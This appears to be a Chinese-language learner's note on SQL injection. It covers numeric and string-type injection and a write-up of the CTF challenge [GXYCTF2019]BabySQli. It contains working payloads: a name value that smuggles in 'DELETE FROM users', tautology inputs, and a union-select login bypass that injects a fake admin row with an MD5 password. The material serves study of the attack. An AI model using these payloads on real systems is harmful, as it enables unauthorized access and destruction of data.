举个例子
// 设定$name 中插入了我们不需要的SQL语句
$name = "Qadir'; DELETE FROM users;";mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'");
那么语句就变成了:
SELECT * FROM users WHERE name='Qadir'; DELETE FROM users;'
通常 Sql 注入漏洞分为 2 种类型:
- 数字型
- 字符型
数字型:
select * from <表名> where id = x
如果输入:
1 or 1 == 1
就变成:
select * from <表名> where id = 1 or 1 = 1
无论如何都正确
字符型
select * from <表名> where id = 'x'
如果输入:
x ' or '1' = '1
就变成:
select * from <表名> where id = 'x ' or '1' = '1'
绝对正确
好奇啊,怎么select还可以这样做呢?
联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据
[GXYCTF2019]BabySQli
好奇怪
一般来讲,是三列
输入:
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
1
c4ca4238a0b923820dcc509a6f75849b是1的md5加密。
注意第一点,就是,
id username password
执行
select * from users where username = '1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
我觉得无论输入
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
还是
admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
都是可以注入成功的。
但是不行?
不知道为啥。
因为前面的是id,无论这个username是否存在,后面的语句都是可以添加到虚拟表的。